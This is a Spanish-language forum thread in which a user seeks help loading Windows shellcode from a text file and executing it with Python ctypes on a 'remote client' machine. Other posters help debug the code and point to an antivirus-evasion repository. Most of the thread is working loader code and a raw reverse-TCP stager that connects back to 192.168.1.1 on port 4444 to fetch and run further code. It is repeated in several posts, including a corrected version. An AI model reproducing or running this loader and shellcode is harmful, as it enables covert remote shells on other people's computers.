Título: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 20 Marzo 2018, 19:05 pm
Hola buenas. Intento ejecutar una shellcode en un ordenador remoto (cliente) pero la shellcode esta en otro ordenador (el servidor). La ejecución de una shellcode en python seria el codigo siguiente: from ctypes import * shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02" "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" "\x53\xff\xd5") memory_ref = create_string_buffer(shellcode, len(shellcode)) shellcode = cast(memory_ref, CFUNCTYPE(c_void_p)) shellcode()
Y lo que quiero es leer en un .txt por ejemplo esa misma shellcode y luego ejecutarlo en el ordenador remoto. All tenerlo en un .txt se convierte en un string con lo cual no funciona. Necesito ayuda. gracias!
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: engel lex en 20 Marzo 2018, 19:23 pm
conviertelo de vuelta a bytes, de toda forma será necesario si lo transmitirás sobre red para convertir un string en un array de bytes solo es necesario usar .encode() si quieres que sea convertido en base a alguna condificacion lo aclaras entre los parentesis, por ejemplo
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 20 Marzo 2018, 19:46 pm
Me sale el siguiente error: WindowsError: exception: access violation writing 0x00000000
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: engel lex en 20 Marzo 2018, 20:03 pm
ya eso es un error de windows y escapa de mis conocimientos, pero por lo que parece intentaste escribir en una zona de la memoria donde no tenías permisos, estás corriendo como administrador?
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: MCKSys Argentina en 20 Marzo 2018, 20:17 pm
Hola!
Estás intentando ejecutar memoria que está definida como de lectura/escritura (La allocaste como string).
Debes agregarle permisos de ejecución a la página para correr el shellcode.
Saludos!
EDIT: Revisa ésto (https://github.com/ciccio-87/Python-AV-Evasion/blob/master/winshell.py).
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 21 Marzo 2018, 13:33 pm
No es un error de permisos, ya lo solucione pero sigue sin funcionar >:( . Source Code: from ctypes import * shellcode = "" with open("shellcode.txt", "r") as sc: shellcode1 = sc.readlines() for x in shellcode1: shellcode += x.encode() shellcode = (shellcode.encode()) memory_ref = create_string_buffer(shellcode, len(shellcode)) shellcode = cast(memory_ref, CFUNCTYPE(c_void_p)) shellcode()
Shellcode.txt: \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30 \x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff \xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52 \x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1 \x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b \x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03 \x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b \x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24 \x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb \x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c \x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68 \x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02 \x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea \x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61 \xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00 \x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83 \xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a \x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57 \x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00 \x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68 \x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff \xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00 \x53\xff\xd5
La shellcode no se ejecuta y no suelta ningún error.
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: engel lex en 21 Marzo 2018, 13:42 pm
ahh... pero es que tu tienes liretalmente eso en el archivo de texto... tienes que leer de 3 en 3 e ir convirtiendo a su representación
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: MCKSys Argentina en 21 Marzo 2018, 15:07 pm
No es un error de permisos, ya lo solucione pero sigue sin funcionar >:( .
Te puedo asegurar que ese código dará error en cualquier windows que tenga DEP activado (todos los modernos). Pero bueno, tú sabrás... Con respecto a tu problema de guardar en archivos: # save binary data in file shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" shellcode += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" shellcode += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" shellcode += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" shellcode += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" shellcode += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" shellcode += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" shellcode += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" shellcode += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" shellcode += "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" shellcode += "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02" shellcode += "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61" shellcode += "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00" shellcode += "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83" shellcode += "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a" shellcode += "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57" shellcode += "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00" shellcode += "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68" shellcode += "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff" shellcode += "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00" shellcode += "\x53\xff\xd5" f = open("shellcode.txt", "wb") f.write(shellcode) f.close() # load data from file and execute in heap (fails with DEP enabled for all processes) shellcode = "" with open("shellcode.txt", "r") as sc: #shellcode1 = sc.readlines() #for x in shellcode1: # shellcode += x.encode() shellcode = sc.read() #shellcode = (shellcode.encode()) memory_ref = create_string_buffer(shellcode, len(shellcode)) shellcode = cast(memory_ref, CFUNCTYPE(c_void_p)) shellcode()
Saludos!
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 21 Marzo 2018, 19:44 pm
Cual codigo podría funcionar ahora?
Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: MCKSys Argentina en 21 Marzo 2018, 22:53 pm
Cual codigo podría funcionar ahora?
El primero que te pasé tiene lo necesario para funcinar en todos los Windows. Saludos!
|